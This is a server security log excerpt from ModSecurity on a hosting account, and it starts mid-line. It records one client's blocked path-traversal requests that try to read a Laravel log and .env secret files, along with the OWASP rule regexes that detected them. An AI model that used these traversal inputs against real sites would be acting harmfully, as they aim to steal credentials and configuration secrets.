/?load=..%2F..%2Fstorage%2Flogs%2Flaravel.log&junk=TKXMcfvWGlcsRYagUvjP39-tnJ73fCiICZYASp2sC3TCusPtUySewAWt1CAS4ooVDvdLtav0xoQsFYkFPfiI5MSg0RaB5PDDRhGtg5oihEh_L3--kESdRTZ6yMF7uY3iNlc1PaEnYZ6Uyox7swzjAxeuvQOZKUM7CVEwImN1SPhW9Th5lHYYzjVueAUR3cusbTGty0i55-SfNYgPAnPiWguyy0d1ZYYDp7onWitG-y6PS244P-21ReCXu0NPOXztn_-5nMS8L02oyXROxkQBxpLe&token=BMIVSVZKPYDNNTHGUBUBMPKY73RW6SRGXWDYJDVRWH4CBZ4N7OWIXAS2XBXZ5B6LEEPNSBG6OODB2WSUDMD2EV4ZKDSG6POG6PELA4WVKPSIWMYQQ4ATSQ..."] [severity "CRITICAL"] [ver "OWAS [hostname "2s-travels.com"] [uri "/"] [unique_id "almgkboj0IkvhSCYadmBkgAAAAQ"]
[Fri Jul 17 08:55:05.997475 2026] [security2:error] [pid 2018741:tid 2018741] [client 103.168.66.101:0] ModSecurity: Warning. Pattern match "(?i)(?:\\\\x5c|(?:%(?:c(?:0%(?:[2aq]f|5c|9v)|1%(?:[19p]c|8s|af))|2(?:5(?:c(?:0%25af|1%259c)|2f|5c)|%46|f)|(?:(?:f(?:8%8)?0%8|e)0%80%a|bg%q)f|%3(?:2(?:%(?:%6|4)6|F)|5%%63)|u(?:221[56]|002f|EFC8|F025)|1u|5c)|0x(?:2f|5c)|\\\\/))(?:%(?:(?:f(?:(?:c%80|8)%8)?0%8 ..." at ARGS:load. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "48"] [id "930100"] [msg "Path Traversal Attack (/../)"] [data "Matched Data: /../ found within ARGS:load: ../../storage/logs/laravel.log"] [severity "CRITICAL"] [ver "OWASP_CRS/3.3.9"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "paranoia-level/1"] [tag "OWASP_CRS"] [tag "capec/1000/255/153/126"] [hostname "2s-travels.com"] [uri "/"] [unique_id "almgkboj0IkvhSCYadmBkgAAAAQ"]
[Fri Jul 17 08:55:05.997522 2026] [security2:error] [pid 2018741:tid 2018741] [client 103.168.66.101:0] ModSecurity: Warning. Pattern match "(?:^|[\\\\/])\\\\.\\\\.(?:[\\\\/]|$)" at REQUEST_URI. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "72"] [id "930110"] [msg "Path Traversal Attack (/../)"] [data "Matched Data: /../ found within REQUEST_URI: /?load=../../storage/logs/laravel.log&junk=TKXMcfvWGlcsRYagUvjP39-tnJ73fCiICZYASp2sC3TCusPtUySewAWt1CAS4ooVDvdLtav0xoQsFYkFPfiI5MSg0RaB5PDDRhGtg5oihEh_L3--kESdRTZ6yMF7uY3iNlc1PaEnYZ6Uyox7swzjAxeuvQOZKUM7CVEwImN1SPhW9Th5lHYYzjVueAUR3cusbTGty0i55-SfNYgPAnPiWguyy0d1ZYYDp7onWitG-y6PS244P-21ReCXu0NPOXztn_-5nMS8L02oyXROxkQBxpLe&token=BMIVSVZKPYDNNTHGUBUBMPKY73RW6SRGXWDYJDVRWH4CBZ4N7OWIXAS2XBXZ5B6LEEPNSBG6OODB2WSUDMD2EV4ZKDSG6POG6PELA4WVKPSIWMYQQ4ATSQGPAZDNIBTOIVYWIV..."] [severity "CRITICAL"] [ver "OWASP_CRS/3.3.9"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "paranoia-level/1"] [tag "OWASP_CRS"] [tag "capec/1000/255/153/126"] [hostname "2s-travels.com"] [uri "/"] [unique_id "almgkboj0IkvhSCYadmBkgAAAAQ"]
[Fri Jul 17 08:55:05.997571 2026] [security2:error] [pid 2018741:tid 2018741] [client 103.168.66.101:0] ModSecurity: Warning. Pattern match "(?:^|[\\\\/])\\\\.\\\\.(?:[\\\\/]|$)" at REQUEST_URI. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "72"] [id "930110"] [msg "Path Traversal Attack (/../)"] [data "Matched Data: /../ found within REQUEST_URI: /?load=../../storage/logs/laravel.log&junk=tkxmcfvwglcsryaguvjp39-tnj73fciiczyasp2sc3tcusptuysewawt1cas4oovdvdltav0xoqsfykfpfii5msg0rab5pddrhgtg5oiheh_l3--kesdrtz6ymf7uy3inlc1paenyz6uyox7swzjaxeuvqozkum7cvewimn1sphw9th5lhyyzjvueaur3cusbtgty0i55-sfnygpanpiwguyy0d1zyydp7onwitg-y6ps244p-21recxu0npoxztn_-5nms8l02oyxroxkqbxple&token=bmivsvzkpydnnthgububmpky73rw6srgxwdyjdvrwh4cbz4n7owixas2xbxz5b6leepnsbg6oodb2wsudmd2ev4zkdsg6pog6pela4wvkpsiwmyqq4atsqgpazdnibtoivywiv..."] [severity "CRITICAL"] [ver "OWASP_CRS/3.3.9"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "paranoia-level/1"] [tag "OWASP_CRS"] [tag "capec/1000/255/153/126"] [hostname "2s-travels.com"] [uri "/"] [unique_id "almgkboj0IkvhSCYadmBkgAAAAQ"]
[Fri Jul 17 08:55:05.997608 2026] [security2:error] [pid 2018741:tid 2018741] [client 103.168.66.101:0] ModSecurity: Warning. Pattern match "(?:^|[\\\\/])\\\\.\\\\.(?:[\\\\/]|$)" at ARGS:load. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "72"] [id "930110"] [msg "Path Traversal Attack (/../)"] [data "Matched Data: ../ found within ARGS:load: ../../storage/logs/laravel.log"] [severity "CRITICAL"] [ver "OWASP_CRS/3.3.9"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "paranoia-level/1"] [tag "OWASP_CRS"] [tag "capec/1000/255/153/126"] [hostname "2s-travels.com"] [uri "/"] [unique_id "almgkboj0IkvhSCYadmBkgAAAAQ"]
[Fri Jul 17 08:55:05.997665 2026] [security2:error] [pid 2018741:tid 2018741] [client 103.168.66.101:0] ModSecurity: Warning. Pattern match "(?:^|[\\\\/])\\\\.\\\\.(?:[\\\\/]|$)" at ARGS:load. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "72"] [id "930110"] [msg "Path Traversal Attack (/../)"] [data "Matched Data: ../ found within ARGS:load: ../../storage/logs/laravel.log"] [severity "CRITICAL"] [ver "OWASP_CRS/3.3.9"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "paranoia-level/1"] [tag "OWASP_CRS"] [tag "capec/1000/255/153/126"] [hostname "2s-travels.com"] [uri "/"] [unique_id "almgkboj0IkvhSCYadmBkgAAAAQ"]
[Fri Jul 17 08:55:05.998853 2026] [security2:error] [pid 2018741:tid 2018741] [client 103.168.66.101:0] ModSecurity: Warning. Operator GE matched 5 at TX:anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "94"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 30)"] [severity "CRITICAL"] [ver "OWASP_CRS/3.3.9"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "2s-travels.com"] [uri "/"] [unique_id "almgkboj0IkvhSCYadmBkgAAAAQ"]
[Fri Jul 17 08:55:05.998985 2026] [hostinglimits:warn] [pid 2018741:tid 2018741] mod_hostinglimits: Error on LVE enter: LVE(1097) HANDLER(proxy:unix:/opt/cpanel/ea-php81/root/usr/var/run/php-fpm/972b008c26ac1dc6afa9a4661f96cfa74792215e.sock|fcgi://2s-travels.com) HOSTNAME(2s-travels.com) URL(/index.php) TID(2018741) errno (7) MHL-E2BIG - entry processes limit reached, read more: https://docs.cloudlinux.com/cloudlinux_os_components/#errors min_uid (1000)
[Fri Jul 17 08:55:05.999339 2026] [security2:error] [pid 2018741:tid 2018741] [client 103.168.66.101:0] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/RESPONSE-980-CORRELATION.conf"] [line "92"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 30 - SQLI=0,XSS=0,RFI=0,LFI=30,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 30, 0, 0, 0"] [ver "OWASP_CRS/3.3.9"] [tag "event-correlation"] [hostname "2s-travels.com"] [uri "/index.php"] [unique_id "almgkboj0IkvhSCYadmBkgAAAAQ"]
[Fri Jul 17 08:55:06.006152 2026] [security2:error] [pid 2013829:tid 2013829] [client 103.168.66.101:0] ModSecurity: Warning. Pattern match "(?i)(?:\\\\x5c|(?:%(?:c(?:0%(?:[2aq]f|5c|9v)|1%(?:[19p]c|8s|af))|2(?:5(?:c(?:0%25af|1%259c)|2f|5c)|%46|f)|(?:(?:f(?:8%8)?0%8|e)0%80%a|bg%q)f|%3(?:2(?:%(?:%6|4)6|F)|5%%63)|u(?:221[56]|002f|EFC8|F025)|1u|5c)|0x(?:2f|5c)|\\\\/))(?:%(?:(?:f(?:(?:c%80|8)%8)?0%8 ..." at REQUEST_URI_RAW. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "48"] [id "930100"] [msg "Path Traversal Attack (/../)"] [data "Matched Data: %2F..%2F found within REQUEST_URI_RAW: /?load=..%2F..%2F..%2Fstorage%2Flogs%2Flaravel.log&ts=EGo0S5BxUHpem0Ke-jf7OPs3NOnp6GodvocJ_-pmchv5CZjS4xv8-8S6bndb-zb2ryFFdC8GQDt_CO_QB-XN2nH0LYFeoWoXCHzz2Vg2uvNzrJTqeCXn5U0g_ip550NQIQGwnlX2Q68eEKRqb2og1DurE380aG7S_bdBrYKBR8SaDoAWL2yEcjb9SkaynL1qySQt9TXSCRuO8UQy-5FNZ3uIhbFSaQQRVHUAnEl_aBmkdHF7WGctEUhrRinwLSaup-u1q5DKYtqefUEacd7YxNVO&ref=KZLLAOF3FN6NX3HLOYHOZKAG7Z74FA5ZYAGWMVU43Q57LMHX5PDY7BPLD64R3NCG7MO4O44GNEPHTG42EDXF4VA2H5FPMZC7ILXKAY5YTW52TZ4D3WTPE..."] [severity "CRITICAL"] [ver "OWAS [hostname "2s-travels.com"] [uri "/"] [unique_id "almgkg7FYe46zHK_jL3PgQAAABk"]
[Fri Jul 17 08:55:06.006223 2026] [security2:error] [pid 2013829:tid 2013829] [client 103.168.66.101:0] ModSecurity: Warning. Pattern match "(?i)(?:\\\\x5c|(?:%(?:c(?:0%(?:[2aq]f|5c|9v)|1%(?:[19p]c|8s|af))|2(?:5(?:c(?:0%25af|1%259c)|2f|5c)|%46|f)|(?:(?:f(?:8%8)?0%8|e)0%80%a|bg%q)f|%3(?:2(?:%(?:%6|4)6|F)|5%%63)|u(?:221[56]|002f|EFC8|F025)|1u|5c)|0x(?:2f|5c)|\\\\/))(?:%(?:(?:f(?:(?:c%80|8)%8)?0%8 ..." at ARGS:load. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "48"] [id "930100"] [msg "Path Traversal Attack (/../)"] [data "Matched Data: /../ found within ARGS:load: ../../../storage/logs/laravel.log"] [severity "CRITICAL"] [ver "OWASP_CRS/3.3.9"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "paranoia-level/1"] [tag "OWASP_CRS"] [tag "capec/1000/255/153/126"] [hostname "2s-travels.com"] [uri "/"] [unique_id "almgkg7FYe46zHK_jL3PgQAAABk"]
[Fri Jul 17 08:55:06.006288 2026] [security2:error] [pid 2013829:tid 2013829] [client 103.168.66.101:0] ModSecurity: Warning. Pattern match "(?:^|[\\\\/])\\\\.\\\\.(?:[\\\\/]|$)" at REQUEST_URI. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "72"] [id "930110"] [msg "Path Traversal Attack (/../)"] [data "Matched Data: /../ found within REQUEST_URI: /?load=../../../storage/logs/laravel.log&ts=EGo0S5BxUHpem0Ke-jf7OPs3NOnp6GodvocJ_-pmchv5CZjS4xv8-8S6bndb-zb2ryFFdC8GQDt_CO_QB-XN2nH0LYFeoWoXCHzz2Vg2uvNzrJTqeCXn5U0g_ip550NQIQGwnlX2Q68eEKRqb2og1DurE380aG7S_bdBrYKBR8SaDoAWL2yEcjb9SkaynL1qySQt9TXSCRuO8UQy-5FNZ3uIhbFSaQQRVHUAnEl_aBmkdHF7WGctEUhrRinwLSaup-u1q5DKYtqefUEacd7YxNVO&ref=KZLLAOF3FN6NX3HLOYHOZKAG7Z74FA5ZYAGWMVU43Q57LMHX5PDY7BPLD64R3NCG7MO4O44GNEPHTG42EDXF4VA2H5FPMZC7ILXKAY5YTW52TZ4D3WTPERCI7X3KBERNB625QDT..."] [severity "CRITICAL"] [ver "OWASP_CRS/3.3.9"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "paranoia-level/1"] [tag "OWASP_CRS"] [tag "capec/1000/255/153/126"] [hostname "2s-travels.com"] [uri "/"] [unique_id "almgkg7FYe46zHK_jL3PgQAAABk"]
[Fri Jul 17 08:55:06.006346 2026] [security2:error] [pid 2013829:tid 2013829] [client 103.168.66.101:0] ModSecurity: Warning. Pattern match "(?:^|[\\\\/])\\\\.\\\\.(?:[\\\\/]|$)" at REQUEST_URI. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "72"] [id "930110"] [msg "Path Traversal Attack (/../)"] [data "Matched Data: /../ found within REQUEST_URI: /?load=../../../storage/logs/laravel.log&ts=ego0s5bxuhpem0ke-jf7ops3nonp6godvocj_-pmchv5czjs4xv8-8s6bndb-zb2ryffdc8gqdt_co_qb-xn2nh0lyfeowoxchzz2vg2uvnzrjtqecxn5u0g_ip550nqiqgwnlx2q68eekrqb2og1dure380ag7s_bdbrykbr8sadoawl2yecjb9skaynl1qysqt9txscruo8uqy-5fnz3uihbfsaqqrvhuanel_abmkdhf7wgcteuhrrinwlsaup-u1q5dkytqefueacd7yxnvo&ref=kzllaof3fn6nx3hloyhozkag7z74fa5zyagwmvu43q57lmhx5pdy7bpld64r3ncg7mo4o44gnephtg42edxf4va2h5fpmzc7ilxkay5ytw52tz4d3wtperci7x3kbernb625qdt..."] [severity "CRITICAL"] [ver "OWASP_CRS/3.3.9"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "paranoia-level/1"] [tag "OWASP_CRS"] [tag "capec/1000/255/153/126"] [hostname "2s-travels.com"] [uri "/"] [unique_id "almgkg7FYe46zHK_jL3PgQAAABk"]
[Fri Jul 17 08:55:06.006383 2026] [security2:error] [pid 2013829:tid 2013829] [client 103.168.66.101:0] ModSecurity: Warning. Pattern match "(?:^|[\\\\/])\\\\.\\\\.(?:[\\\\/]|$)" at ARGS:load. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "72"] [id "930110"] [msg "Path Traversal Attack (/../)"] [data "Matched Data: ../ found within ARGS:load: ../../../storage/logs/laravel.log"] [severity "CRITICAL"] [ver "OWASP_CRS/3.3.9"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "paranoia-level/1"] [tag "OWASP_CRS"] [tag "capec/1000/255/153/126"] [hostname "2s-travels.com"] [uri "/"] [unique_id "almgkg7FYe46zHK_jL3PgQAAABk"]
[Fri Jul 17 08:55:06.006408 2026] [security2:error] [pid 2013829:tid 2013829] [client 103.168.66.101:0] ModSecurity: Warning. Pattern match "(?:^|[\\\\/])\\\\.\\\\.(?:[\\\\/]|$)" at ARGS:load. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "72"] [id "930110"] [msg "Path Traversal Attack (/../)"] [data "Matched Data: ../ found within ARGS:load: ../../../storage/logs/laravel.log"] [severity "CRITICAL"] [ver "OWASP_CRS/3.3.9"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "paranoia-level/1"] [tag "OWASP_CRS"] [tag "capec/1000/255/153/126"] [hostname "2s-travels.com"] [uri "/"] [unique_id "almgkg7FYe46zHK_jL3PgQAAABk"]
[Fri Jul 17 08:55:06.007585 2026] [security2:error] [pid 2013829:tid 2013829] [client 103.168.66.101:0] ModSecurity: Warning. Operator GE matched 5 at TX:anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "94"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 30)"] [severity "CRITICAL"] [ver "OWASP_CRS/3.3.9"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "2s-travels.com"] [uri "/"] [unique_id "almgkg7FYe46zHK_jL3PgQAAABk"]
[Fri Jul 17 08:55:06.007744 2026] [hostinglimits:warn] [pid 2013829:tid 2013829] mod_hostinglimits: Error on LVE enter: LVE(1097) HANDLER(proxy:unix:/opt/cpanel/ea-php81/root/usr/var/run/php-fpm/972b008c26ac1dc6afa9a4661f96cfa74792215e.sock|fcgi://2s-travels.com) HOSTNAME(2s-travels.com) URL(/index.php) TID(2013829) errno (7) MHL-E2BIG - entry processes limit reached, read more: https://docs.cloudlinux.com/cloudlinux_os_components/#errors min_uid (1000)
[Fri Jul 17 08:55:06.008054 2026] [security2:error] [pid 2013829:tid 2013829] [client 103.168.66.101:0] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/RESPONSE-980-CORRELATION.conf"] [line "92"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 30 - SQLI=0,XSS=0,RFI=0,LFI=30,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 30, 0, 0, 0"] [ver "OWASP_CRS/3.3.9"] [tag "event-correlation"] [hostname "2s-travels.com"] [uri "/index.php"] [unique_id "almgkg7FYe46zHK_jL3PgQAAABk"]
[Fri Jul 17 08:55:06.031127 2026] [security2:error] [pid 1993668:tid 1993668] [client 103.168.66.101:0] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/RESPONSE-980-CORRELATION.conf"] [line "92"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0"] [ver "OWASP_CRS/3.3.9"] [tag "event-correlation"] [hostname "2s-travels.com"] [uri "/index.php"] [unique_id "almgiRAi3pC6yjXGNq2ARwAAAAU"]
[Fri Jul 17 08:55:06.075412 2026] [security2:error] [pid 2018741:tid 2018741] [client 103.168.66.101:0] ModSecurity: Warning. Pattern match "(?:^|[\\\\/])\\\\.\\\\.(?:[\\\\/]|$)" at ARGS:load. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "72"] [id "930110"] [msg "Path Traversal Attack (/../)"] [data "Matched Data: ../ found within ARGS:load: ../.env.staging"] [severity "CRITICAL"] [ver "OWASP_CRS/3.3.9"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "paranoia-level/1"] [tag "OWASP_CRS"] [tag "capec/1000/255/153/126"] [hostname "2s-travels.com"] [uri "/"] [unique_id "almgkroj0IkvhSCYadmBkwAAAAQ"]
[Fri Jul 17 08:55:06.075463 2026] [security2:error] [pid 2018741:tid 2018741] [client 103.168.66.101:0] ModSecurity: Warning. Pattern match "(?:^|[\\\\/])\\\\.\\\\.(?:[\\\\/]|$)" at ARGS:load. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "72"] [id "930110"] [msg "Path Traversal Attack (/../)"] [data "Matched Data: ../ found within ARGS:load: ../.env.staging"] [severity "CRITICAL"] [ver "OWASP_CRS/3.3.9"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "paranoia-level/1"] [tag "OWASP_CRS"] [tag "capec/1000/255/153/126"] [hostname "2s-travels.com"] [uri "/"] [unique_id "almgkroj0IkvhSCYadmBkwAAAAQ"]
[Fri Jul 17 08:55:06.076614 2026] [security2:error] [pid 2018741:tid 2018741] [client 103.168.66.101:0] ModSecurity: Warning. Operator GE matched 5 at TX:anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "94"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 10)"] [severity "CRITICAL"] [ver "OWASP_CRS/3.3.9"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "2s-travels.com"] [uri "/"] [unique_id "almgkroj0IkvhSCYadmBkwAAAAQ"]
[Fri Jul 17 08:55:06.082171 2026] [security2:error] [pid 1993572:tid 1993572] [client 103.168.66.101:0] ModSecurity: Warning. Pattern match "(?:^|[\\\\/])\\\\.\\\\.(?:[\\\\/]|$)" at ARGS:load. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "72"] [id "930110"] [msg "Path Traversal Attack (/../)"] [data "Matched Data: ../ found within ARGS:load: ../.env.production"] [severity "CRITICAL"] [ver "OWASP_CRS/3.3.9"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "paranoia-level/1"] [tag "OWASP_CRS"] [tag "capec/1000/255/153/126"] [hostname "2s-travels.com"] [uri "/"] [unique_id "almgkol9vhFBGA6D8l95kwAAAAw"]
[Fri Jul 17 08:55:06.082216 2026] [security2:error] [pid 1993572:tid 1993572] [client 103.168.66.101:0] ModSecurity: Warning. Pattern match "(?:^|[\\\\/])\\\\.\\\\.(?:[\\\\/]|$)" at ARGS:load. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "72"] [id "930110"] [msg "Path Traversal Attack (/../)"] [data "Matched Data: ../ found within ARGS:load: ../.env.production"] [severity "CRITICAL"] [ver "OWASP_CRS/3.3.9"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "paranoia-level/1"] [tag "OWASP_CRS"] [tag "capec/1000/255/153/126"] [hostname "2s-travels.com"] [uri "/"] [unique_id "almgkol9vhFBGA6D8l95kwAAAAw"]
[Fri Jul 17 08:55:06.083371 2026] [security2:error] [pid 1993572:tid 1993572] [client 103.168.66.101:0] ModSecurity: Warning. Operator GE matched 5 at TX:anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "94"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 10)"] [severity "CRITICAL"] [ver "OWASP_CRS/3.3.9"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "2s-travels.com"] [uri "/"] [unique_id "almgkol9vhFBGA6D8l95kwAAAAw"]
[Fri Jul 17 08:55:06.083507 2026] [hostinglimits:warn] [pid 1993572:tid 1993572] mod_hostinglimits: Error on LVE enter: LVE(1097) HANDLER(proxy:unix:/opt/cpanel/ea-php81/root/usr/var/run/php-fpm/972b008c26ac1dc6afa9a4661f96cfa74792215e.sock|fcgi://2s-travels.com) HOSTNAME(2s-travels.com) URL(/index.php) TID(1993572) errno (7) MHL-E2BIG - entry processes limit reached, read more: https://docs.cloudlinux.com/cloudlinux_os_components/#errors min_uid (1000)
[Fri Jul 17 08:55:06.083775 2026] [security2:error] [pid 1993572:tid 1993572] [client 103.168.66.101:0] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/RESPONSE-980-CORRELATION.conf"] [line "92"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 10 - SQLI=0,XSS=0,RFI=0,LFI=10,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 10, 0, 0, 0"] [ver "OWASP_CRS/3.3.9"] [tag "event-correlation"] [hostname "2s-travels.com"] [uri "/index.php"] [unique_id "almgkol9vhFBGA6D8l95kwAAAAw"]
[Fri Jul 17 08:55:06.097544 2026] [security2:error] [pid 2018767:tid 2018767] [client 103.168.66.101:0] ModSecurity: Warning. Pattern match "(?:^|[\\\\/])\\\\.\\\\.(?:[\\\\/]|$)" at ARGS:load. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "72"] [id "930110"] [msg "Path Traversal Attack (/../)"] [data "Matched Data: ../ found within ARGS:load: ../.env.local"] [severity "CRITICAL"] [ver "OWASP_CRS/3.3.9"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "paranoia-level/1"] [tag "OWASP_CRS"] [tag "capec/1000/255/153/126"] [hostname "2s-travels.com"] [uri "/"] [unique_id "almgkqquHSHoCJK_V0SBOgAAABs"]
[Fri Jul 17 08:55:06.097588 2026] [security2:error] [pid 2018767:tid 2018767] [client 103.168.66.101:0] ModSecurity: Warning. Pattern match "(?:^|[\\\\/])\\\\.\\\\.(?:[\\\\/]|$)" at ARGS:load. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "72"] [id "930110"] [msg "Path Traversal Attack (/../)"] [data "Matched Data: ../ found within ARGS:load: ../.env.local"] [severity "CRITICAL"] [ver "OWASP_CRS/3.3.9"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "paranoia-level/1"] [tag "OWASP_CRS"] [tag "capec/1000/255/153/126"] [hostname "2s-travels.com"] [uri "/"] [unique_id "almgkqquHSHoCJK_V0SBOgAAABs"]
[Fri Jul 17 08:55:06.098280 2026] [security2:error] [pid 2030774:tid 2030774] [client 103.168.66.101:0] ModSecurity: Warning. Pattern match "(?:^|[\\\\/])\\\\.\\\\.(?:[\\\\/]|$)" at ARGS:load. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "72"] [id "930110"] [msg "Path Traversal Attack (/../)"] [data "Matched Data: ../ found within ARGS:load: ../.env.backup"] [severity "CRITICAL"] [ver "OWASP_CRS/3.3.9"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "paranoia-level/1"] [tag "OWASP_CRS"] [tag "capec/1000/255/153/126"] [hostname "2s-travels.com"] [uri "/"] [unique_id "almgkhHlOGcokz2QIwTS_QAAAAM"]
[Fri Jul 17 08:55:06.098316 2026] [security2:error] [pid 2030774:tid 2030774] [client 103.168.66.101:0] ModSecurity: Warning. Pattern match "(?:^|[\\\\/])\\\\.\\\\.(?:[\\\\/]|$)" at ARGS:load. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "72"] [id "930110"] [msg "Path Traversal Attack (/../)"] [data "Matched Data: ../ found within ARGS:load: ../.env.backup"] [severity "CRITICAL"] [ver "OWASP_CRS/3.3.9"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "paranoia-level/1"] [tag "OWASP_CRS"] [tag "capec/1000/255/153/126"] [hostname "2s-travels.com"] [uri "/"] [unique_id "almgkhHlOGcokz2QIwTS_QAAAAM"]
[Fri Jul 17 08:55:06.098715 2026] [security2:error] [pid 2018767:tid 2018767] [client 103.168.66.101:0] ModSecurity: Warning. Operator GE matched 5 at TX:anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "94"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 10)"] [severity "CRITICAL"] [ver "OWASP_CRS/3.3.9"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "2s-travels.com"] [uri "/"] [unique_id "almgkqquHSHoCJK_V0SBOgAAABs"]
